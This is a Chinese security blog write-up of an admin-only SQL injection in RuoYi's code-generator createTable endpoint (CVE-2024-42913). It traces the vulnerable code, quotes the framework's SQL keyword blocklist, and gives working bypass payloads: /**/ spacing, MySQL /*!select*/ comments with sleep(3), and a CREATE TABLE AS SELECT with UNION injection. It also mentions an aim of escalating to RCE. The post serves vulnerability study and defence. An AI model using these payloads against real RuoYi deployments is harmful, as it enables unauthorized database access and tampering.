记一次绕过限制SQL注入bypass

admin 2024年9月25日12:15:20评论26 views字数 2220阅读7分24秒阅读模式
记一次绕过限制SQL注入bypass

声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途给予盈利等目的,否则后果自行承担!

记一次绕过限制SQL注入bypass

ruoyi的洞,但这个漏洞比较鸡肋,要求有管理员权限,且每次执行都会在数据库中创建一个数据表,会污染数据库。此次作为学习记录。

以为是个平常的漏洞,没想到网上也能搜到他的cve编号,CVE-2024-42913
https://mp.weixin.qq.com/s/u6RM6ytlc7voZ8lv0C0oaw

代码审计,
SQL执行通过mybatis,全局搜索 ${

记一次绕过限制SQL注入bypass

经过筛选,只有${sql}可以控制

记一次绕过限制SQL注入bypass

    <update id="createTable">
${sql}

</update>

执行传入的SQL语句
查看
mapper/generator/GenTableMapper.xml:174
对应的java代码
com.ruoyi.generator.mapper.GenTableMapper#createTable

记一次绕过限制SQL注入bypass

然后全局搜哪里调用了 createTable

com.ruoyi.generator.service.GenTableServiceImpl#createTable

记一次绕过限制SQL注入bypass

有一个Controller层调用了createTable

记一次绕过限制SQL注入bypass

满足条件就可以执行SQL语句,而 createTableStatement 我们是可控的

记一次绕过限制SQL注入bypass

但此处要求有权限,且权限是admin

记一次绕过限制SQL注入bypass

假设我们拿到了具有admin权限的账号,
传入SQL语句

记一次绕过限制SQL注入bypass

创建表结构异常
查看报错

记一次绕过限制SQL注入bypass

存在SQL注入检测 位置 SqlUtil.filterKeyword(sql);
com.ruoyi.common.utils.sql.SqlUtil#filterKeyword

    /**
* SQL关键字检查
*/

public static void filterKeyword(String value)
{
if (StringUtils.isEmpty(value))
{
return;
}
String[] sqlKeywords = StringUtils.split(SQL_REGEX, "\|");
for (String sqlKeyword : sqlKeywords)
{
if (StringUtils.indexOfIgnoreCase(value, sqlKeyword) > -1)
{
throw new UtilException("参数存在SQL注入风险");
}
}
}

SQL_REGEX的值为

public static String SQL_REGEX = "and |extractvalue|updatexml|exec |insert |select |delete |update |drop |count |chr |mid |master |truncate |char |declare |or |+|user()";

split根据 | 分割字符串,然后匹配
因为我后端使用的数据库是MySQL,可根据MySQL的特性绕过,比如在关键词之间用/**/代替空格

select/**/1

记一次绕过限制SQL注入bypass

还是失败,检查代码,发现是druid报错

记一次绕过限制SQL注入bypass

记一次绕过限制SQL注入bypass

如何令语法解析函数将输入的SQL字符串识别成创建表的语句?

 List<SQLStatement> sqlStatements = SQLUtils.parseStatements(sql, DbType.mysql);

正常输入

create table tb_tmp(id INT(11),name VARCHAR(25),deptId INT(11),salary FLOAT)

根据MySQL特性绕过限制,执行自定义SQL语句
/*!关键词*/ MySQL会识别关键词,然后执行命令

/*!select sleep(3)*/

/*!select*/ /*!sleep(3)*/

记一次绕过限制SQL注入bypass

记一次绕过限制SQL注入bypass

根据这个特性,我们在创建表的命令后面加入/*!select*/ /*!sleep(3)*/

记一次绕过限制SQL注入bypass

失败,检查执行的语句,发现不知道哪里的原因,第一个/*!select*/被吞了,没有加入MySQL命令中,自然执行失败,重新尝试

sql=create table tb_tmp011222(id INT(11),name VARCHAR(25),deptId INT(11),salary FLOAT) /*!select*/  /*!select*/ /*!sleep(3)*/

记一次绕过限制SQL注入bypass

虽然也是返回异常,但是看返回时间为3s,可知语句执行成功。

还有其他人的执行SQL语句的思路,是根据创建表的规则做的

https://mp.weixin.qq.com/s/u6RM6ytlc7voZ8lv0C0oaw

CREATE TABLE q1234asdf AS SELECT/**/ lock_name FROM/**/ qrtz_locks WHERE/**/ 1 = 1 UNION/**/ SELECT/**/ VERSION();

总结
本篇关于如何根据MySQL的特性绕过关键词限制,以及绕过解析语法,在创建表的接口中执行SQL命令。
因为这个接口在执行语句前会先判断创建的表是否存在,所以每次执行SQL注入命令就要在库中创建一个新表。
ruoyi有一个定时任务的老洞,因为黑白名单的限制,现在不好绕过。如果能执行SQL语句直接操作数据库可以绕过限制RCE。但我尝试了许多次,在这个注入点,总是失败。/*!select*/ 在create table xxx 后面执行没问题,但是/*!update*/就会报错。很头疼。

记一次绕过限制SQL注入bypass

原文始发于微信公众号(进击的HACK):记一次绕过限制SQL注入bypass

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年9月25日12:15:20
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   记一次绕过限制SQL注入bypasshttps://cn-sec.com/archives/3127601.html

发表评论

匿名网友 填写信息